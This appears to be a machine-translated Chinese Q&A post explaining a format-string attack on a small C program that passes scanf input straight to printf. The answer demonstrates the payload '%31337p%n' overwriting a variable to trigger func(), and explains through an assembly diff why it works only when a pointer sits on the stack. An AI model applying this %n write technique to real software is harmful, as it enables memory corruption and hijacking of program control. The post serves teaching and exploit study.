在printf中格式化字符串攻击

#include  int main() { char s[200] int a=123; int b=&a; scanf("%50s",s); printf(s); if (a==31337) func(); } 

目的是执行格式字符串攻击 – 通过输入字符串来执行func()。 我试图用%n覆盖变量,但我得出的结论是,如果不首先显示b变量是不可能的,我不知道如何。 任何提示将不胜感激。 对不起,我的英语不好。

让我们尝试打印和不打印:

 $ cat > fc << \EOF #include  void func() { fprintf(stderr, "func\n"); } int main() { char s[200]; int a=123; int b=&a; #ifdef FIXER fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */ #endif scanf("%50s",s); printf(s); if (a==31337) func(); } EOF $ gcc --version | head -n 1; uname -m gcc (Debian 4.7.2-5) 4.7.2 i686 $ gcc -S fc -o doesnt_work.s fc: In function 'main': fc:10:11: warning: initialization makes integer from pointer without a cast [enabled by default] $ gcc -S -DFIXER fc -o does_work.s fc: In function 'main': fc:10:11: warning: initialization makes integer from pointer without a cast [enabled by default] $ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work $ echo '%31337p%n' | ./does_work > /dev/null 0xbfe75970 func $ echo '%31337p%n' | ./doesnt_work > /dev/null Segmentation fault 

如问题中所述,我们清楚地看到,如果没有打印b它首先会失败。

让我们比较一下内在的变化:

 $ diff -ur does_work.s doesnt_work.s --- does_work.s 2013-02-06 03:17:06.000000000 +0300 +++ doesnt_work.s 2013-02-06 03:16:52.000000000 +0300 @@ -29,8 +29,6 @@ .size func, .-func .section .rodata .LC1: - .string "%p\n" -.LC2: .string "%50s" .text .globl main @@ -48,15 +46,9 @@ movl $123, 16(%esp) leal 16(%esp), %eax movl %eax, 220(%esp) - movl stderr, %eax - movl 220(%esp), %edx /* !!! */ - movl %edx, 8(%esp) /* !!! */ - movl $.LC1, 4(%esp) - movl %eax, (%esp) - call fprintf leal 20(%esp), %eax movl %eax, 4(%esp) - movl $.LC2, (%esp) + movl $.LC1, (%esp) call __isoc99_scanf leal 20(%esp), %eax movl %eax, (%esp) 

在标记的行上,我们看到“将b值转换为%edx,然后将其作为堆栈中的第3个参数。”

由于printf和scanf使用cdecl调用约定,因此在调用期间堆栈保持大致相同,因此第三个参数仍然可用于易受攻击的printf进行设置。

当我们不打印b ,它不会进入堆栈以便我们注入的格式字符串容易使用。

有足够的%p%p%p%p%p%p...无论如何我们应该能够达到我们的实际ab ,但是50个输入字符的限制正在阻碍我们。